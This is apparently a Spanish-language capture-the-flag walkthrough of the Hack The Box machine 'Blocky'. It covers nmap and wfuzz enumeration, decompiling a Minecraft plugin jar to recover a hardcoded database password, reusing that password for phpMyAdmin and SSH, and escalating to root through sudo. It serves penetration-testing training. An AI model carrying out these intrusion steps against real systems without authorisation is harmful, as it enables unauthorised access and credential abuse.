Hack The Box Blocky
Blocky
Se procede con la fase de reconocimiento lanzando primeramente un ping
a la dirección IP 10.10.10.37.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.37
PING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.
64 bytes from 10.10.10.37: icmp_seq=1 ttl=63 time=135 ms
--- 10.10.10.37 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 134.893/134.893/134.893/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap
para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.37 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 12:18 CST
Initiating SYN Stealth Scan at 12:18
Scanning 10.10.10.37 [65535 ports]
Discovered open port 21/tcp on 10.10.10.37
Discovered open port 22/tcp on 10.10.10.37
Discovered open port 80/tcp on 10.10.10.37
Discovered open port 25565/tcp on 10.10.10.37
Completed SYN Stealth Scan at 12:18, 26.53s elapsed (65535 total ports)
Nmap scan report for 10.10.10.37
Host is up, received user-set (0.14s latency).
Scanned at 2022-03-18 12:18:13 CST for 26s
Not shown: 65530 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
25565/tcp open minecraft syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds
Raw packets sent: 131084 (5.768MB) | Rcvd: 24 (1.052KB)
Mediante la función extractPorts definida a nivel de zsh
, se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
12
❯ extractPorts allPorts
───────┬─────────────────────────────────────
│ File: extractPorts.tmp
│ Size: 125 B
───────┼─────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.37
5 │ [*] Open ports: 21,22,80,25565
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nmap -sCV -p21,22,80,25565 10.10.10.37 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 12:19 CST
Nmap scan report for 10.10.10.37
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 4.8
|_http-title: BlockyCraft – Under Construction!
25565/tcp open minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.56 seconds
Primeramente, vemos que el puerto 21 se encuentra abierto, así que trataremos de conectarnos como el usuario anonymous sin proporcionar contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
❯ ftp 10.10.10.37
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:k4miyo): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> exit
221 Goodbye.
No podemos ingresar, asi que ahora, antes de visualizar el contenido vía web, vamos a ocupar la herramienta whatweb
:
1
2
❯ whatweb http://10.10.10.37/
http://10.10.10.37/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.37], JQuery[1.12.4], MetaGenerator[WordPress 4.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[BlockyCraft – Under Construction!], UncommonHeaders[link], WordPress[4.8]
Tenemos que nos enfrentamos ante un WordPress. Ahora si podemos ver el contenido vía web:
Navengado un poco en el sitio, encontramos una publicación del usuario notch el cual podría ser un potencial dato a tomar en cuenta.
Ahora vamos a tratar de descubrir rutas dentro del servidor de las cuales podemos obtener información.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ nmap --script http-enum -p80 10.10.10.37
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-18 12:22 CST
Nmap scan report for 10.10.10.37
Host is up (0.13s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wiki/: Wiki
| /wp-login.php: Possible admin folder
| /phpmyadmin/: phpMyAdmin
| /readme.html: Wordpress version: 2
| /: WordPress version: 4.8
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
Aquí nmap
nos reporta el panel de login de WordPress bajo la ruta /wp-login.php
; con esto, podemos validar si el usuario que hemos identificado existe.
Vemos que el usurio existe. Como nmap
prueba con pocas rutas, vamos a irnos algo más tochos y lo haremos con wfuzz
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ wfuzz -c --hc=404 --hw=3592 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.37/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.37/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000190: 301 9 L 28 W 309 Ch "wiki"
000000241: 301 9 L 28 W 315 Ch "wp-content"
000000519: 301 9 L 28 W 312 Ch "plugins"
000000786: 301 9 L 28 W 316 Ch "wp-includes"
000001073: 301 9 L 28 W 315 Ch "javascript"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 31.54087
Processed Requests: 1367
Filtered Requests: 1362
Requests/sec.: 43.34058
Tenemos un recurso interesante, /plugins
, asi que vamos a echarle un ojo:
Tenemos dos recursos, que al hacerles hovering vemos que se encuentran en /plugins/files
:
Vamos a descargarlos anuestra máquina y como vemos que es un archivo .jar, significa que es un comprimido, por lo tanto podemos descomprmirlo (analizaremos solo BlockyCore.jar).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ unzip BlockyCore.jar -d BlockyCore
Archive: BlockyCore.jar
inflating: BlockyCore/META-INF/MANIFEST.MF
inflating: BlockyCore/com/myfirstplugin/BlockyCore.class
❯ ll
drwxr-xr-x root root 22 B Fri Mar 18 12:49:48 2022 BlockyCore
.rw-r--r-- k4miyo k4miyo 883 B Fri Mar 18 12:47:59 2022 BlockyCore.jar
❯ tree
.
├── BlockyCore
│ ├── com
│ │ └── myfirstplugin
│ │ └── BlockyCore.class
│ └── META-INF
│ └── MANIFEST.MF
└── BlockyCore.jar
4 directories, 3 files
Aqui ya vemos el archivo BlockyCore.class
, así que vamos a visualizarlo con al herramienta javap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ cd BlockyCore/com/myfirstplugin
❯ ll
.rw-r--r-- root root 939 B Sun Jul 2 11:11:50 2017 BlockyCore.class
❯ javap -c BlockyCore
Warning: File ./BlockyCore.class does not contain class BlockyCore
Compiled from "BlockyCore.java"
public class com.myfirstplugin.BlockyCore {
public java.lang.String sqlHost;
public java.lang.String sqlUser;
public java.lang.String sqlPass;
public com.myfirstplugin.BlockyCore();
Code:
0: aload_0
1: invokespecial #12 // Method java/lang/Object."<init>":()V
4: aload_0
5: ldc #14 // String localhost
7: putfield #16 // Field sqlHost:Ljava/lang/String;
10: aload_0
11: ldc #18 // String root
13: putfield #20 // Field sqlUser:Ljava/lang/String;
16: aload_0
17: ldc #22 // String 8YsqfCTnvxAUeduzjNSXe22
19: putfield #24 // Field sqlPass:Ljava/lang/String;
22: return
public void onServerStart();
Code:
0: return
public void onServerStop();
Code:
0: return
public void onPlayerJoin();
Code:
0: aload_0
1: ldc #33 // String TODO get username
3: ldc #35 // String Welcome to the BlockyCraft!!!!!!!
5: invokevirtual #37 // Method sendMessage:(Ljava/lang/String;Ljava/lang/String;)V
8: return
public void sendMessage(java.lang.String, java.lang.String);
Code:
0: return
}
Vemos una cadena medio extraña 8YsqfCTnvxAUeduzjNSXe22
la cual podría estar asociada a una contraseña debido a que en la descripción, hace referencia a sqlPass; ahora podriamos tratar de autenticarnos en los paneles de login que tenemos bajo las rutas wp-login.php
, phpmyadmin
e incluso; si el usuario notch existe a nivel de sistema, podríamos tratar de conectarnos vía ssh.
Al validar la contraseña, vemos que podemos acceder a phpmyadmin
con las credenciales root : 8YsqfCTnvxAUeduzjNSXe22 y que también podemos acceder vía ssh con notch : 8YsqfCTnvxAUeduzjNSXe22.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ ssh notch@10.10.10.37
The authenticity of host '10.10.10.37 (10.10.10.37)' can't be established.
ECDSA key fingerprint is SHA256:lg0igJ5ScjVO6jNwCH/OmEjdeO2+fx+MQhV/ne2i900.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.37' (ECDSA) to the list of known hosts.
notch@10.10.10.37's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
7 packages can be updated.
7 updates are security updates.
Last login: Sun Dec 24 09:34:35 2017
notch@Blocky:~$ whoami
notch
notch@Blocky:~$
Para este caso, utilizaremos el acceso obtenido por ssh y ya dentro de la máquina como el usuario notch podemos visualizar la flag (user.txt). Ahora debemos encontrar una forma de escalar privilegios.
1
2
3
notch@Blocky:~$ id
uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
notch@Blocky:~$
Nos encontramos en el grupo sudo y además contamos con las credenciales del usuario notch; por lo tanto ya podemos convertirnos en root:
1
2
3
4
5
notch@Blocky:~$ sudo su
[sudo] password for notch:
root@Blocky:/home/notch# whoami
root
root@Blocky:/home/notch#
Ya somos el usuario root y podemos visualizar la flag (root.txt).